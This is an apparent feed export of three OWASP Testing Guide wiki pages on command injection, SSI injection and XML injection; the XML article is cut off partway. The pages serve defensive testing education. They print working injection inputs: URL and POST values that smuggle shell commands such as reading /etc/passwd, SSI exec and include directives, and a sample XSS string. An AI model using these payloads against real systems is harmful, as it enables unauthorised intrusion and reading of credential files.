		<id>https://wiki.owasp.org/index.php?title=Testing_for_Command_Injection_(OTG-INPVAL-013)&amp;diff=38716</id>
		<title>Testing for Command Injection (OTG-INPVAL-013)</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=Testing_for_Command_Injection_(OTG-INPVAL-013)&amp;diff=38716"/>
				<updated>2008-09-07T06:48:25Z</updated>
		
		<summary type="html">&lt;p&gt;Namn: /* Brief Summary */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;[[http://www.owasp.org/index.php/Web_Application_Penetration_Testing_AoC Up]]&amp;lt;br&amp;gt;&lt;br /&gt;
{{Template:OWASP Testing Guide v2}}&lt;br /&gt;
&lt;br /&gt;
== Brief Summary ==&lt;br /&gt;
This article describes how to test an application for OS command injection. We try try to inject an OS command throughout an HTTP request to the application.&lt;br /&gt;
&lt;br /&gt;
== Short Description of the Issue == &lt;br /&gt;
OS command injection is a technique used via a web interface in order to execute OS commands on the web server.&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
The user supplies operating system commands through a web interface in order to execute OS commands.  Any web interface that is not properly sanitized is subject to this exploit.  With the ability to execute OS commands, the user can upload malicious programs or even obtain passwords.  OS command injection is preventable when security is emphasized during the design and development of applications.&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Black Box testing and example ==&lt;br /&gt;
When viewing a file in a web application the file name is often shown in the URL.  Perl allows piping data from a process into an open statement.  The user can simply append the Pipe symbol “|” onto the end of the filename.&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
Example URL before alteration:&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;http://sensitive/cgi-bin/userData.pl?doc=user1.txt&amp;lt;/nowiki&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Example URL modified:&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;http://sensitive/cgi-bin/userData.pl?doc=/bin/ls|&amp;lt;/nowiki&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
This will execute the command “/bin/ls”.&amp;lt;br&amp;gt;&lt;br /&gt;
Appending a semicolon to the end of a URL for a .PHP page followed by an operating system command, will execute the command.&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
Example:&amp;lt;br&amp;gt;&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;http://sensitive/something.php?dir=%3Bcat%20/etc/passwd&amp;lt;/nowiki&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
'''Example'''&amp;lt;br&amp;gt;&lt;br /&gt;
Consider the case of an application that contains a set of documents that you can browse from the Internet. If you fire up WebScarab, you can obtain a POST HTTP like the following:&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
POST http://www.example.com/public/doc HTTP/1.1&lt;br /&gt;
Host: www.example.com&lt;br /&gt;
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; it; rv:1.8.1) Gecko/20061010 FireFox/2.0&lt;br /&gt;
Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5&lt;br /&gt;
Accept-Language: it-it,it;q=0.8,en-us;q=0.5,en;q=0.3&lt;br /&gt;
Accept-Encoding: gzip,deflate&lt;br /&gt;
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7&lt;br /&gt;
Keep-Alive: 300&lt;br /&gt;
Proxy-Connection: keep-alive&lt;br /&gt;
Referer: http://127.0.0.1/WebGoat/attack?Screen=20&lt;br /&gt;
Cookie: JSESSIONID=295500AD2AAEEBEDC9DB86E34F24A0A5&lt;br /&gt;
Authorization: Basic T2Vbc1Q9Z3V2Tc3e=&lt;br /&gt;
Content-Type: application/x-www-form-urlencoded&lt;br /&gt;
Content-length: 33&lt;br /&gt;
&lt;br /&gt;
Doc=Doc1.pdf&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
In this post request, we notice how the application retrieves the public documentation. Now we can test if it is possible to add an operating system command to inject in the POST HTTP. Try the following:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
POST http://www.example.com/public/doc HTTP/1.1&lt;br /&gt;
Host: www.example.com&lt;br /&gt;
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; it; rv:1.8.1) Gecko/20061010 FireFox/2.0&lt;br /&gt;
Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5&lt;br /&gt;
Accept-Language: it-it,it;q=0.8,en-us;q=0.5,en;q=0.3&lt;br /&gt;
Accept-Encoding: gzip,deflate&lt;br /&gt;
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7&lt;br /&gt;
Keep-Alive: 300&lt;br /&gt;
Proxy-Connection: keep-alive&lt;br /&gt;
Referer: http://127.0.0.1/WebGoat/attack?Screen=20&lt;br /&gt;
Cookie: JSESSIONID=295500AD2AAEEBEDC9DB86E34F24A0A5&lt;br /&gt;
Authorization: Basic T2Vbc1Q9Z3V2Tc3e=&lt;br /&gt;
Content-Type: application/x-www-form-urlencoded&lt;br /&gt;
Content-length: 33&lt;br /&gt;
&lt;br /&gt;
Doc=Doc1.pdf+|+Dir c:\&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
If the application doesn't validate the request, we can obtain the following result:&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
Exec Results for 'cmd.exe /c type &amp;quot;C:\httpd\public\doc\&amp;quot;Doc=Doc1.pdf+|+Dir c:\'&lt;br /&gt;
Output...&lt;br /&gt;
Il volume nell'unità C non ha etichetta.&lt;br /&gt;
Numero di serie Del volume: 8E3F-4B61&lt;br /&gt;
Directory of c:\&lt;br /&gt;
 18/10/2006 00:27 2,675 Dir_Prog.txt&lt;br /&gt;
 18/10/2006 00:28 3,887 Dir_ProgFile.txt&lt;br /&gt;
 16/11/2006 10:43&lt;br /&gt;
    Doc&lt;br /&gt;
    11/11/2006 17:25&lt;br /&gt;
       Documents and Settings&lt;br /&gt;
       25/10/2006 03:11&lt;br /&gt;
          I386&lt;br /&gt;
          14/11/2006 18:51&lt;br /&gt;
	     h4ck3r&lt;br /&gt;
	     30/09/2005 21:40 25,934 &lt;br /&gt;
		OWASP1.JPG&lt;br /&gt;
		03/11/2006 18:29&lt;br /&gt;
			Prog&lt;br /&gt;
			18/11/2006 11:20&lt;br /&gt;
				Program Files&lt;br /&gt;
				16/11/2006 21:12&lt;br /&gt;
					Software&lt;br /&gt;
					24/10/2006 18:25&lt;br /&gt;
						Setup&lt;br /&gt;
						24/10/2006 23:37&lt;br /&gt;
							Technologies&lt;br /&gt;
							18/11/2006 11:14	&lt;br /&gt;
							3 File 32,496 byte&lt;br /&gt;
							13 Directory 6,921,269,248 byte disponibili&lt;br /&gt;
							Return code: 0&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
In this case, we have successfully performed an OS injection attack.&lt;br /&gt;
&lt;br /&gt;
== Gray Box testing == &lt;br /&gt;
&amp;lt;b&amp;gt;Sanitization&amp;lt;/b&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
The URL and form data needs to be sanitized for invalid characters.  A “blacklist” of characters is an option but it may be difficult to think of all of the characters to validate against. Also there may be some that were not discovered as of yet.  A “white list” containing only allowable characters should be created to validate the user input.  Characters that were missed as well as undiscovered threats should be eliminated by this list.&amp;lt;br&amp;gt;&lt;br /&gt;
&amp;lt;b&amp;gt;Permissions&amp;lt;/b&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
The web application and its components should be running under strict permissions that do not allow operating system command execution. Try to verify all these informations to test from a Gray Box point of view&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== References ==&lt;br /&gt;
&lt;br /&gt;
'''White papers'''&amp;lt;br&amp;gt;&lt;br /&gt;
* http://www.securityfocus.com/infocus/1709&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
'''Tools'''&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* OWASP [[OWASP WebScarab Project |WebScarab]]&amp;lt;br&amp;gt; &lt;br /&gt;
* OWASP [[OWASP WebGoat Project|WebGoat]] &lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
{{Category:OWASP Testing Project AoC}}&lt;/div&gt;</summary>
		<author><name>Namn</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=Testing_for_SSI_Injection_(OTG-INPVAL-009)&amp;diff=38715</id>
		<title>Testing for SSI Injection (OTG-INPVAL-009)</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=Testing_for_SSI_Injection_(OTG-INPVAL-009)&amp;diff=38715"/>
				<updated>2008-09-07T05:44:35Z</updated>
		
		<summary type="html">&lt;p&gt;Namn: /* Black Box testing */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;[[http://www.owasp.org/index.php/Web_Application_Penetration_Testing_AoC Up]]&amp;lt;br&amp;gt;&lt;br /&gt;
{{Template:OWASP Testing Guide v2}}&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Brief Summary ==&lt;br /&gt;
&lt;br /&gt;
Web servers usually give developers the ability to add small pieces of dynamic code inside static HTML pages, without having to deal with full-fledged server-side or client-side languages. This feature is incarnated by the '''[[Server-Side Includes %28SSI%29 Injection|Server-Side Includes]]''' ('''SSI'''). In SSI injection testing, we test if it is possible to inject into the application data that will be interpreted by SSI mechanisms. A successful exploitation of this vulnerability allows an attacker to inject code into HTML pages or even perform remote code execution.&lt;br /&gt;
&lt;br /&gt;
== Description of the Issue ==&lt;br /&gt;
&lt;br /&gt;
Server-Side Includes are directives that the web server parses before serving the page to the user. They represent an alternative to writing CGI programs or embedding code using server-side scripting languages, when there's only need to perform very simple tasks. Common SSI implementations provide commands to include external files, to set and print web server CGI environment variables, and to execute external CGI scripts or system commands.&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Putting an SSI directive into a static HTML document is as easy as writing a piece of code like the following:&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
&amp;lt;!--#echo var=&amp;quot;DATE_LOCAL&amp;quot; --&amp;gt;&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
to print out the current time.&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
&amp;lt;!--#include virtual=&amp;quot;/cgi-bin/counter.pl&amp;quot; --&amp;gt;&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
to include the output of a CGI script.&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
&amp;lt;!--#include virtual=&amp;quot;/footer.html&amp;quot; --&amp;gt;&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
to include the content of a file.&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
&amp;lt;!--#exec cmd=&amp;quot;ls&amp;quot; --&amp;gt;&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
to include the output of a system command.&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Then, if the web server's SSI support is enabled, the server will parse these directives. In the default configuration, usually, most web servers don't allow the use of the '''''exec''''' directive to execute system commands.&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
As in every bad input validation situation, problems arise when the user of a web application is allowed to provide data that makes the application or the web server behave in an unforeseen manner. With regard to SSI injection, the attacker could provide an input that, if inserted by the application (or maybe directly by the server) into a dynamically generated page, would be parsed as one or more SSI directives.&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
This is a vulnerability very similar to a classical scripting language injection vulnerability. One mitigation is that the web server needs to be configured to allow SSI. On the other hand, SSI injection vulnerabilities are often simpler to exploit, since SSI directives are easy to understand and, at the same time, quite powerful, e.g., they can output the content of files and execute system commands.&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Black Box testing ==&lt;br /&gt;
&lt;br /&gt;
The first thing to do when testing in a Black Box fashion is finding if the web server actually supports SSI directives. Often, the answer is yes, as SSI support is quite common. To find out we just need to discover which kind of web server is running on our target, using classical information gathering techniques.&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Whether we succeed or not in discovering this piece of information, we could guess if SSI are supported just by looking at the content of the target web site. If it contains '''''.shtml''''' files, then SSI are probably supported, as this extension is used to identify pages containing these directives. Unfortunately, the use of the '''''shtml''''' extension is not mandatory, so not having found any '''''shtml''''' files doesn't necessarily mean that the target is not prone to SSI injection attacks.&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
The next step consists of determining if an SSI injection attack is actually possible and, if so, what are the input points that we can use to inject our malicious code.&amp;lt;br&amp;gt;&lt;br /&gt;
The testing activity required to do this is exactly the same used to test for other code injection vulnerabilities. In particular, we need to find every page where the user is allowed to submit some kind of input and verify whether the application is correctly validating the submitted input. If sanitization is insufficient, we need to test if we can provide data that is going to be displayed unmodified (for example, in an error message or forum post). Besides common user supplied data, input vectors that should always be considered are HTTP request headers and cookies content, since they can be easily forged.&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Once we have a list of potential injection points, we can check if the input is correctly validated and then find out where the provided input is stored. We need to make sure that we can inject characters used in SSI directives:&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
&amp;lt; ! # = / . &amp;quot; - &amp;gt; and [a-zA-Z0-9]&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
To test if validation is insufficient, we can input, for example, a string like the following in an input form:&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
&amp;lt;!--#include virtual=&amp;quot;/etc/passwd&amp;quot; --&amp;gt;&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
This is similar to testing for XSS vulnerabilities using&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
&amp;lt;script&amp;gt;alert(&amp;quot;XSS&amp;quot;)&amp;lt;/script&amp;gt;&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
If the application is vulnerable, the directive is injected and it would be interpreted by the server the next time the page is served, thus including the content of the Unix standard password file.&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
The injection can be performed also in HTTP headers, if the web application is going to use that data to build a dynamically generated page:&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
GET / HTTP/1.0&lt;br /&gt;
Referer: &amp;lt;!--#exec cmd=&amp;quot;/bin/ps ax&amp;quot;--&amp;gt;&lt;br /&gt;
User-Agent: &amp;lt;!--#include virtual=&amp;quot;/proc/version&amp;quot;--&amp;gt;&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Gray Box testing and example == &lt;br /&gt;
&lt;br /&gt;
If we have access to the application source code, we can quite easily find out:&amp;lt;br&amp;gt;&lt;br /&gt;
# If SSI directives are used. If they are, then the web server is going to have SSI support enabled, making SSI injection at least a potential issue to investigate.&amp;lt;br&amp;gt;&lt;br /&gt;
# Where user input, cookie content and HTTP headers are handled. The complete list of input vectors is then quickly determined.&amp;lt;br&amp;gt;&lt;br /&gt;
# How the input is handled, what kind of filtering is performed, what characters the application is not letting through and how many types of encoding are taken into account.&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Performing these steps is mostly a matter of using grep, to find the right keywords inside the source code (SSI directives, CGI environment variables, variables assignment involving user input, filtering functions and so on).&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== References ==&lt;br /&gt;
'''Whitepapers'''&amp;lt;br&amp;gt;&lt;br /&gt;
* IIS: &amp;quot;Notes on Server-Side Includes (SSI) syntax&amp;quot; - http://support.microsoft.com/kb/203064&amp;lt;br&amp;gt;&lt;br /&gt;
* Apache Tutorial: &amp;quot;Introduction to Server Side Includes&amp;quot; - http://httpd.apache.org/docs/1.3/howto/ssi.html&amp;lt;br&amp;gt;&lt;br /&gt;
* Apache: &amp;quot;Module mod_include&amp;quot; - http://httpd.apache.org/docs/1.3/mod/mod_include.html&amp;lt;br&amp;gt;&lt;br /&gt;
* Apache: &amp;quot;Security Tips for Server Configuration&amp;quot; - http://httpd.apache.org/docs/1.3/misc/security_tips.html#ssi&amp;lt;br&amp;gt;&lt;br /&gt;
* Header Based Exploitation - http://www.cgisecurity.net/papers/header-based-exploitation.txt&amp;lt;br&amp;gt;&lt;br /&gt;
* SSI Injection instead of JavaScript Malware - http://jeremiahgrossman.blogspot.com/2006/08/ssi-injection-instead-of-javascript.html&lt;br /&gt;
&lt;br /&gt;
'''Tools'''&amp;lt;br&amp;gt;&lt;br /&gt;
* Web Proxy Burp Suite - http://portswigger.net&lt;br /&gt;
* Paros - http://www.parosproxy.org/index.shtml&lt;br /&gt;
* [[OWASP WebScarab Project|WebScarab]]&lt;br /&gt;
* String searcher: grep - http://www.gnu.org/software/grep, your favorite text editor&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
{{Category:OWASP Testing Project AoC}}&lt;/div&gt;</summary>
		<author><name>Namn</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=Testing_for_XML_Injection_(OTG-INPVAL-008)&amp;diff=38714</id>
		<title>Testing for XML Injection (OTG-INPVAL-008)</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=Testing_for_XML_Injection_(OTG-INPVAL-008)&amp;diff=38714"/>
				<updated>2008-09-07T05:36:04Z</updated>
		
		<summary type="html">&lt;p&gt;Namn: /* Tag Injection */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;{{Template:OWASP Testing Guide v3}}&lt;br /&gt;
&lt;br /&gt;
== Brief Summary ==&lt;br /&gt;
We talk about XML Injection testing when we try to inject a particular XML doc to the application: if the XML parser fails to make an appropriate data validation the test will result positive. &amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Short Description of the Issue == &lt;br /&gt;
In this section, a practical example of XML Injection will be looked at: first, an XML style communication will be defined, and its working principles explained. Then, the discovery method in which we try to insert XML metacharacters will be examined.&lt;br /&gt;
Once the first step is accomplished, the tester will have some information about the XML structure, so it will be possible to try to inject XML data and tags (Tag Injection).&lt;br /&gt;
&lt;br /&gt;
== Black Box testing and example ==&lt;br /&gt;
Let's suppose there is a web application using an XML style communication &lt;br /&gt;
in order to perform users registration.&lt;br /&gt;
This is done by creating and adding a new &amp;lt;user&amp;gt; node in an xmlDb file.&lt;br /&gt;
Let's suppose the xmlDB file is like the following:&lt;br /&gt;
&lt;br /&gt;
 '''&amp;lt;nowiki&amp;gt;&amp;lt;?xml version=&amp;quot;1.0&amp;quot; encoding=&amp;quot;ISO-8859-1&amp;quot;?&amp;gt; &lt;br /&gt;
&amp;lt;users&amp;gt; &lt;br /&gt;
	&amp;lt;user&amp;gt; &lt;br /&gt;
		&amp;lt;username&amp;gt;gandalf&amp;lt;/username&amp;gt; &lt;br /&gt;
		&amp;lt;password&amp;gt;!c3&amp;lt;/password&amp;gt; &lt;br /&gt;
		&amp;lt;userid&amp;gt;0&amp;lt;/userid&amp;gt;&lt;br /&gt;
		&amp;lt;mail&amp;gt;gandalf@middleearth.com&amp;lt;/mail&amp;gt;&lt;br /&gt;
	&amp;lt;/user&amp;gt; &lt;br /&gt;
	&amp;lt;user&amp;gt; &lt;br /&gt;
		&amp;lt;username&amp;gt;Stefan0&amp;lt;/username&amp;gt; &lt;br /&gt;
		&amp;lt;password&amp;gt;w1s3c&amp;lt;/password&amp;gt; &lt;br /&gt;
		&amp;lt;userid&amp;gt;500&amp;lt;/userid&amp;gt;&lt;br /&gt;
		&amp;lt;mail&amp;gt;Stefan0@whysec.hmm&amp;lt;/mail&amp;gt;&lt;br /&gt;
	&amp;lt;/user&amp;gt; &lt;br /&gt;
&amp;lt;/users&amp;gt;&amp;lt;/nowiki&amp;gt;'''&lt;br /&gt;
&lt;br /&gt;
When a user registers himself by filling an HTML form, &lt;br /&gt;
the application receives the user's data in a standard request, which,&lt;br /&gt;
for the sake of simplicity, will be supposed to be sent as a GET request.&lt;br /&gt;
&lt;br /&gt;
For example, the following values:&lt;br /&gt;
&lt;br /&gt;
 '''Username: tony'''&lt;br /&gt;
 '''Password: Un6R34kb!e'''&lt;br /&gt;
 '''E-mail: s4tan@hell.com'''&lt;br /&gt;
&lt;br /&gt;
will produce the request:&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;http://www.example.com/addUser.php?username=tony&amp;amp;password=Un6R34kb!e&amp;amp;email=s4tan@hell.com&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
The application, then, builds the following node:&lt;br /&gt;
&lt;br /&gt;
 '''&amp;lt;nowiki&amp;gt;&amp;lt;user&amp;gt; &lt;br /&gt;
	&amp;lt;username&amp;gt;tony&amp;lt;/username&amp;gt; &lt;br /&gt;
	&amp;lt;password&amp;gt;Un6R34kb!e&amp;lt;/password&amp;gt; &lt;br /&gt;
	&amp;lt;userid&amp;gt;500&amp;lt;/userid&amp;gt;&lt;br /&gt;
	&amp;lt;mail&amp;gt;s4tan@hell.com&amp;lt;/mail&amp;gt;&lt;br /&gt;
&amp;lt;/user&amp;gt;&amp;lt;/nowiki&amp;gt;'''&lt;br /&gt;
&lt;br /&gt;
which will be added to the xmlDB:&lt;br /&gt;
&lt;br /&gt;
 '''&amp;lt;nowiki&amp;gt;&amp;lt;?xml version=&amp;quot;1.0&amp;quot; encoding=&amp;quot;ISO-8859-1&amp;quot;?&amp;gt; &lt;br /&gt;
&amp;lt;users&amp;gt; &lt;br /&gt;
	&amp;lt;user&amp;gt; &lt;br /&gt;
		&amp;lt;username&amp;gt;gandalf&amp;lt;/username&amp;gt; &lt;br /&gt;
		&amp;lt;password&amp;gt;!c3&amp;lt;/password&amp;gt; &lt;br /&gt;
		&amp;lt;userid&amp;gt;0&amp;lt;/userid&amp;gt;&lt;br /&gt;
		&amp;lt;mail&amp;gt;gandalf@middleearth.com&amp;lt;/mail&amp;gt;&lt;br /&gt;
	&amp;lt;/user&amp;gt; &lt;br /&gt;
	&amp;lt;user&amp;gt; &lt;br /&gt;
		&amp;lt;username&amp;gt;Stefan0&amp;lt;/username&amp;gt; &lt;br /&gt;
		&amp;lt;password&amp;gt;w1s3c&amp;lt;/password&amp;gt; &lt;br /&gt;
		&amp;lt;userid&amp;gt;500&amp;lt;/userid&amp;gt;&lt;br /&gt;
		&amp;lt;mail&amp;gt;Stefan0@whysec.hmm&amp;lt;/mail&amp;gt;&lt;br /&gt;
	&amp;lt;/user&amp;gt; &lt;br /&gt;
	&amp;lt;user&amp;gt; &lt;br /&gt;
		&amp;lt;username&amp;gt;tony&amp;lt;/username&amp;gt; &lt;br /&gt;
		&amp;lt;password&amp;gt;Un6R34kb!e&amp;lt;/password&amp;gt; &lt;br /&gt;
		&amp;lt;userid&amp;gt;500&amp;lt;/userid&amp;gt;&lt;br /&gt;
		&amp;lt;mail&amp;gt;s4tan@hell.com&amp;lt;/mail&amp;gt;&lt;br /&gt;
	&amp;lt;/user&amp;gt; &lt;br /&gt;
&amp;lt;/users&amp;gt;&amp;lt;/nowiki&amp;gt;'''&lt;br /&gt;
=== Discovery ===&lt;br /&gt;
The first step in order to test an application for the presence of a XML Injection&lt;br /&gt;
vulnerability consists of trying to insert XML metacharacters.&amp;lt;br&amp;gt;&lt;br /&gt;
XML metacharacters are:&lt;br /&gt;
* '''Single quote: ' ''' - When not sanitized, this character could throw an exception during XML parsing, if the injected value is going to be part of an attribute value in a tag.&lt;br /&gt;
As an example, let's suppose there is the following attribute:&lt;br /&gt;
&lt;br /&gt;
 '''&amp;lt;node attrib='$inputValue'/&amp;gt;'''&lt;br /&gt;
&lt;br /&gt;
So, if:&lt;br /&gt;
&lt;br /&gt;
 '''inputValue = foo''''&lt;br /&gt;
&lt;br /&gt;
is instantiated and then is inserted as the attrib value:&lt;br /&gt;
&lt;br /&gt;
 '''&amp;lt;nowiki&amp;gt;&amp;lt;node attrib='foo''/&amp;gt;&amp;lt;/nowiki&amp;gt;'''&lt;br /&gt;
&lt;br /&gt;
then, the resulting XML document is not well formed.&lt;br /&gt;
&lt;br /&gt;
* '''Double quote: &amp;quot; '''- this character has the same meaning as single quote and it could be used in case the attribute value is enclosed in double quotes.&lt;br /&gt;
&lt;br /&gt;
 '''&amp;lt;nowiki&amp;gt;&amp;lt;node attrib=&amp;quot;$inputValue&amp;quot;/&amp;gt;&amp;lt;/nowiki&amp;gt;'''&lt;br /&gt;
&lt;br /&gt;
So if:&lt;br /&gt;
 '''$inputValue = foo&amp;quot;'''&lt;br /&gt;
&lt;br /&gt;
the substitution gives:&lt;br /&gt;
&lt;br /&gt;
 '''&amp;lt;nowiki&amp;gt;&amp;lt;node attrib=&amp;quot;foo&amp;quot;&amp;quot;/&amp;gt;&amp;lt;/nowiki&amp;gt;'''&lt;br /&gt;
&lt;br /&gt;
and the resulting XML document is invalid.&lt;br /&gt;
&lt;br /&gt;
* '''Angular parentheses: &amp;gt; and &amp;lt;''' - By adding an open or closed angular parenthesis in a user input like the following:&lt;br /&gt;
&lt;br /&gt;
 '''Username = foo&amp;lt;'''&lt;br /&gt;
&lt;br /&gt;
the application will build a new node:&lt;br /&gt;
&lt;br /&gt;
 '''&amp;lt;nowiki&amp;gt;&amp;lt;user&amp;gt; &lt;br /&gt;
     &amp;lt;username&amp;gt;foo&amp;lt;&amp;lt;/username&amp;gt; &lt;br /&gt;
     &amp;lt;password&amp;gt;Un6R34kb!e&amp;lt;/password&amp;gt; &lt;br /&gt;
     &amp;lt;userid&amp;gt;500&amp;lt;/userid&amp;gt;&lt;br /&gt;
     &amp;lt;mail&amp;gt;s4tan@hell.com&amp;lt;/mail&amp;gt;&lt;br /&gt;
&amp;lt;/user&amp;gt;&amp;lt;/nowiki&amp;gt;'''&lt;br /&gt;
&lt;br /&gt;
but, because of the presence of the open '&amp;lt;', the resulting XML document is invalid.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
* '''Comment tag: &amp;lt;nowiki&amp;gt;&amp;lt;!--/--&amp;gt;&amp;lt;/nowiki&amp;gt;''' -  This sequence of characters is interpreted as the beginning/end of a comment. So by injecting one of them in Username parameter:&lt;br /&gt;
&lt;br /&gt;
 '''&amp;lt;nowiki&amp;gt;Username = foo&amp;lt;!--&amp;lt;/nowiki&amp;gt;'''&lt;br /&gt;
&lt;br /&gt;
the application will build a node like the following:&lt;br /&gt;
&lt;br /&gt;
 '''&amp;lt;nowiki&amp;gt;&amp;lt;user&amp;gt; &lt;br /&gt;
    &amp;lt;username&amp;gt;foo&amp;lt;!--&amp;lt;/username&amp;gt; &lt;br /&gt;
    &amp;lt;password&amp;gt;Un6R34kb!e&amp;lt;/password&amp;gt; &lt;br /&gt;
    &amp;lt;userid&amp;gt;500&amp;lt;/userid&amp;gt;&lt;br /&gt;
    &amp;lt;mail&amp;gt;s4tan@hell.com&amp;lt;/mail&amp;gt;&lt;br /&gt;
&amp;lt;/user&amp;gt;&amp;lt;/nowiki&amp;gt;'''&lt;br /&gt;
&lt;br /&gt;
which won't be a valid XML sequence.&lt;br /&gt;
&lt;br /&gt;
* '''Ampersand: &amp;amp;amp; '''-   The ampersand is used in the XML syntax to represent entities. The format of an entity is '&amp;amp;amp;symbol;'. An entity is mapped to a character in the Unicode character set.&lt;br /&gt;
&lt;br /&gt;
For example:&lt;br /&gt;
&lt;br /&gt;
 '''&amp;lt;nowiki&amp;gt;&amp;lt;tagnode&amp;gt;&amp;amp;amp;lt;&amp;lt;/tagnode&amp;gt;&amp;lt;/nowiki&amp;gt;'''&lt;br /&gt;
&lt;br /&gt;
is well formed and valid, and represents the '&amp;lt;' ASCII character.&lt;br /&gt;
&lt;br /&gt;
If '&amp;amp;amp;' is not encoded itself with &amp;amp;amp;amp;, it could be used to test XML injection.&lt;br /&gt;
&lt;br /&gt;
In fact, if an input like the following is provided:&lt;br /&gt;
&lt;br /&gt;
 '''Username = &amp;amp;amp;foo'''&lt;br /&gt;
&lt;br /&gt;
a new node will be created:&lt;br /&gt;
&lt;br /&gt;
 '''&amp;lt;nowiki&amp;gt;&amp;lt;user&amp;gt; &lt;br /&gt;
&amp;lt;username&amp;gt;&amp;amp;foo&amp;lt;/username&amp;gt; &lt;br /&gt;
&amp;lt;password&amp;gt;Un6R34kb!e&amp;lt;/password&amp;gt; &lt;br /&gt;
&amp;lt;userid&amp;gt;500&amp;lt;/userid&amp;gt;&lt;br /&gt;
&amp;lt;mail&amp;gt;s4tan@hell.com&amp;lt;/mail&amp;gt;&lt;br /&gt;
&amp;lt;/user&amp;gt;&amp;lt;/nowiki&amp;gt;'''&lt;br /&gt;
&lt;br /&gt;
